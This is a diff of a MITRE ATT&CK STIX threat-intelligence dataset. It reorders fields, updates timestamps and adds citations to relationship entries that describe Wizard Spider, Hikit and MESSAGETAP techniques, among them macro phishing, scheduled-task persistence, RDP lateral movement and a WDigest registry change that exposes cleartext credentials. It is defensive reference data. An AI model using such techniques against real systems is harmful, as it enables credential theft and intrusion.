+ "description": "(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018)(Citation: Trend Micro Waterbear December 2019)", "relationship_type": "uses", "id": "relationship--036f4704-ce28-49cf-bb57-e4ce5079981e", "type": "relationship", - "modified": "2020-05-06T15:48:01.780Z", + "modified": "2021-02-22T17:07:20.191Z", "created": "2020-05-06T15:48:01.780Z" }, { @@ -189510,11 +190990,11 @@ "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020." } ], - "description": "[Hikit](https://attack.mitre.org/software/S0009) has the ability to create a remote shell and run given commands. (Citation: FireEye HIKIT Rootkit Part 2)", + "description": "[Hikit](https://attack.mitre.org/software/S0009) has the ability to create a remote shell and run given commands.(Citation: FireEye HIKIT Rootkit Part 2)", "relationship_type": "uses", "id": "relationship--667c86bd-54f8-4602-a94a-054195de2808", "type": "relationship", - "modified": "2020-05-13T20:36:49.361Z", + "modified": "2021-04-23T01:52:58.559Z", "created": "2020-05-11T18:05:53.417Z" }, { @@ -190395,13 +191875,18 @@ "source_name": "FireEye MESSAGETAP October 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html", "description": "Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who\u2019s Reading Your Text Messages?. Retrieved May 11, 2020." + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], - "description": "(Citation: FireEye MESSAGETAP October 2019)", + "description": "(Citation: FireEye MESSAGETAP October 2019)(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "id": "relationship--95a4d32c-7705-4527-abd8-9d2aca70dbc0", "type": "relationship", - "modified": "2020-06-24T01:43:11.354Z", + "modified": "2020-12-21T18:29:38.980Z", "created": "2020-05-12T14:07:23.123Z" }, { @@ -190536,144 +192021,144 @@ "created": "2020-05-12T14:26:05.035Z" }, { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "external_references": [ - { - "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. 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Retrieved October 14, 2020." + } + ], + "description": "(Citation: CrowdStrike Grim Spider May 2019)(Citation: Sophos New Ryuk Attack October 2020)", + "relationship_type": "uses", + "id": "relationship--8263754e-20a6-49ac-9ffb-3f0e9113b228", + "type": "relationship", + "modified": "2020-11-10T18:04:03.780Z", + "created": "2020-05-12T18:25:44.532Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "external_references": [ + { + "source_name": "CrowdStrike Grim Spider May 2019", + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." }, { "source_name": "Red Canary Hospital Thwarted Ryuk October 2020", - "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.", - "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ " + "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ", + "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020." } ], - "id": "relationship--c671056c-f213-4084-9e9e-3361274ceb80", - "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", - "type": "relationship", - "created": "2020-05-12T18:42:01.854Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used spearphishing attachments to deliver Microsoft documents containing macros or PDFs containing malicious links to download either [Emotet](https://attack.mitre.org/software/S0367), Bokbot, [TrickBot](https://attack.mitre.org/software/S0266), or Bazar.(Citation: CrowdStrike Grim Spider May 2019)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "relationship_type": "uses", - "modified": "2020-11-10T17:06:02.445Z" + "id": "relationship--c671056c-f213-4084-9e9e-3361274ceb80", + "type": "relationship", + "modified": "2020-11-10T17:06:02.445Z", + "created": "2020-05-12T18:42:01.854Z" }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -191311,389 +192796,389 @@ "created": "2020-05-12T22:22:08.596Z" }, { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "external_references": [ - { - "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" - } - ], - "id": "relationship--75f0ea4c-5b88-4b14-9859-67379f4ba9b0", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", - "type": "relationship", - "created": "2020-05-13T12:42:06.757Z", + "external_references": [ + { + "source_name": "CrowdStrike Grim Spider May 2019", + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." + } + ], "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has modified the Registry key HKLM\\System\\CurrentControlSet\\Control\\SecurityProviders\\WDigest by setting the UseLogonCredential registry value to 1 in order to force credentials to be stored in clear text in memory.(Citation: CrowdStrike Grim Spider May 2019)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "relationship_type": "uses", - "modified": "2020-05-13T12:42:06.757Z" + "id": "relationship--75f0ea4c-5b88-4b14-9859-67379f4ba9b0", + "type": "relationship", + "modified": "2020-05-13T12:42:06.757Z", + "created": "2020-05-13T12:42:06.757Z" }, { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "external_references": [ - { - "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" - } - ], - "id": "relationship--53e1bf2f-7ab4-4173-879b-9975618c4527", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", - "type": "relationship", - "created": "2020-05-13T12:42:06.786Z", + "external_references": [ + { + "source_name": "CrowdStrike Grim Spider May 2019", + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." + } + ], "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has lured victims to execute malware with spearphishing attachments containing macros to download either [Emotet](https://attack.mitre.org/software/S0367), Bokbot, or [TrickBot](https://attack.mitre.org/software/S0266).(Citation: CrowdStrike Grim Spider May 2019)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "relationship_type": "uses", - "modified": "2020-05-13T12:42:06.786Z" + "id": "relationship--53e1bf2f-7ab4-4173-879b-9975618c4527", + "type": "relationship", + "modified": "2020-05-13T12:42:06.786Z", + "created": "2020-05-13T12:42:06.786Z" }, { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "external_references": [ - { - "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" - }, - { - "source_name": "FireEye KEGTAP SINGLEMALT October 2020", - "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", - "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" - } - ], - "id": "relationship--7e555910-0e1b-403d-a369-e7a2e8e61670", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", - "type": "relationship", - "created": "2020-05-13T13:20:59.322Z", + "external_references": [ + { + "source_name": "CrowdStrike Grim Spider May 2019", + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." + }, + { + "source_name": "FireEye KEGTAP SINGLEMALT October 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." + } + ], "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used scheduled tasks to install [TrickBot](https://attack.mitre.org/software/S0266), using task names to appear legitimate such as WinDotNet, GoogleTask, or Sysnetsf.(Citation: CrowdStrike Grim Spider May 2019) It has also used common document file names for other malware binaries.(Citation: FireEye KEGTAP SINGLEMALT October 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "relationship_type": "uses", - "modified": "2020-11-10T17:28:19.629Z" + "id": "relationship--7e555910-0e1b-403d-a369-e7a2e8e61670", + "type": "relationship", + "modified": "2020-11-10T17:28:19.629Z", + "created": "2020-05-13T13:20:59.322Z" }, { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "external_references": [ - { - "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" - }, - { - "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", - "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", - "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a" - }, - { - "source_name": "FireEye KEGTAP SINGLEMALT October 2020", - "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", - "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" - }, - { - "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", - "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.", - "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/" - } - ], - "id": "relationship--57f8c6d0-406d-4e97-b3ff-5b2f0274231b", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "type": "relationship", - "created": "2020-05-13T13:20:59.339Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used scheduled tasks establish persistence for [TrickBot](https://attack.mitre.org/software/S0266) and other malware.(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "relationship_type": "uses", - "modified": "2020-11-10T18:04:02.180Z" - }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], "external_references": [ { "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." }, { "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", - "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", - "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a" + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020." }, { "source_name": "FireEye KEGTAP SINGLEMALT October 2020", - "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", - "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" - }, - { - "source_name": "Red Canary Hospital Thwarted Ryuk October 2020", - "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.", - "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ " - } - ], - "id": "relationship--73baa214-fbe6-477e-9beb-d1a08a6d117f", - "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", - "type": "relationship", - "created": "2020-05-13T13:20:59.343Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used macros to execute PowerShell scripts to download malware on victim's machines.(Citation: CrowdStrike Grim Spider May 2019) It has also used PowerShell to execute commands and move laterally through a victim network.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "relationship_type": "uses", - "modified": "2020-11-10T17:28:19.684Z" - }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. 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Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" - } - ], - "id": "relationship--5c252868-1474-4fed-b3b2-07a6d3415034", - "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "type": "relationship", - "created": "2020-05-13T13:58:12.424Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used file deletion to remove some modules and configurations from an infected host after use.(Citation: CrowdStrike Grim Spider May 2019)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "relationship_type": "uses", - "modified": "2020-05-13T13:58:12.424Z" - }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" - } - ], - "id": "relationship--2b5965fe-b178-4c03-91af-942491c79302", - "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", - "type": "relationship", - "created": "2020-05-13T13:58:12.493Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has installed [TrickBot](https://attack.mitre.org/software/S0266) as a service named ControlServiceA in order to establish persistence.(Citation: CrowdStrike Grim Spider May 2019)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "relationship_type": "uses", - "modified": "2020-05-13T13:58:12.493Z" - }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" - } - ], - "id": "relationship--4f243ab6-812f-4fd3-9607-8d94409a94c1", - "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", - "type": "relationship", - "created": "2020-05-13T15:28:06.633Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used stolen credentials to copy tools into the %TEMP% directory of domain controllers.(Citation: CrowdStrike Grim Spider May 2019)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "relationship_type": "uses", - "modified": "2020-05-15T18:52:17.533Z" - }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" - }, - { - "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", - "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", - "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a" + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." }, { "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", - "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.", - "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/" + "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020." } ], - "id": "relationship--43fabcba-66b6-45dc-b905-926f0a0a2bba", - "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", - "type": "relationship", - "created": "2020-05-13T15:28:06.685Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used RDP for lateral movement.(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used scheduled tasks establish persistence for [TrickBot](https://attack.mitre.org/software/S0266) and other malware.(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", "relationship_type": "uses", - "modified": "2020-11-10T17:28:19.792Z" + "id": "relationship--57f8c6d0-406d-4e97-b3ff-5b2f0274231b", + "type": "relationship", + "modified": "2020-11-10T18:04:02.180Z", + "created": "2020-05-13T13:20:59.339Z" }, { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "external_references": [ { "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" - } - ], - "id": "relationship--c51d9123-7f7e-41e6-8cf7-7c7dc4170ca0", - "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", - "type": "relationship", - "created": "2020-05-13T16:45:50.311Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has exfiltrated domain credentials and network enumeration information over command and control (C2) channels.(Citation: CrowdStrike Grim Spider May 2019)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "relationship_type": "uses", - "modified": "2020-05-15T18:52:17.609Z" - }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" - } - ], - "id": "relationship--93cd9a2c-48e3-4a95-90fb-6436afcfa7a8", - "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", - "type": "relationship", - "created": "2020-05-13T16:45:50.316Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used HTTP for network communications.(Citation: CrowdStrike Grim Spider May 2019)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "relationship_type": "uses", - "modified": "2020-05-13T16:45:50.316Z" - }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" - } - ], - "id": "relationship--2c54816e-5dd1-4723-99f5-29c80a2fc171", - "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", - "type": "relationship", - "created": "2020-05-13T16:45:50.317Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has collected and staged credentials and network enumeration information, using the networkdll and psfin [TrickBot](https://attack.mitre.org/software/S0266) modules.(Citation: CrowdStrike Grim Spider May 2019)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "relationship_type": "uses", - "modified": "2020-05-13T16:45:50.317Z" - }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "FireEye Ryuk and Trickbot January 2019", - "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.", - "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html" + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." }, { - "source_name": "DFIR Ryuk's Return October 2020", - "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020.", - "url": "https://thedfirreport.com/2020/10/08/ryuks-return/" - } - ], - "id": "relationship--5a2c4561-48e4-4d51-8f00-ff470a18df32", - "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "type": "relationship", - "created": "2020-05-13T17:16:11.074Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) used Base64 encoding to obfuscate an [Empire](https://attack.mitre.org/software/S0363) service and PowerShell commands.(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: DFIR Ryuk's Return October 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "relationship_type": "uses", - "modified": "2020-11-10T17:02:41.068Z" - }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "FireEye Ryuk and Trickbot January 2019", - "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.", - "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html" - }, - { - "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" + "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020." }, { "source_name": "FireEye KEGTAP SINGLEMALT October 2020", - "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", - "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." }, { "source_name": "Red Canary Hospital Thwarted Ryuk October 2020", - "description": "Brian Donohue, Katie 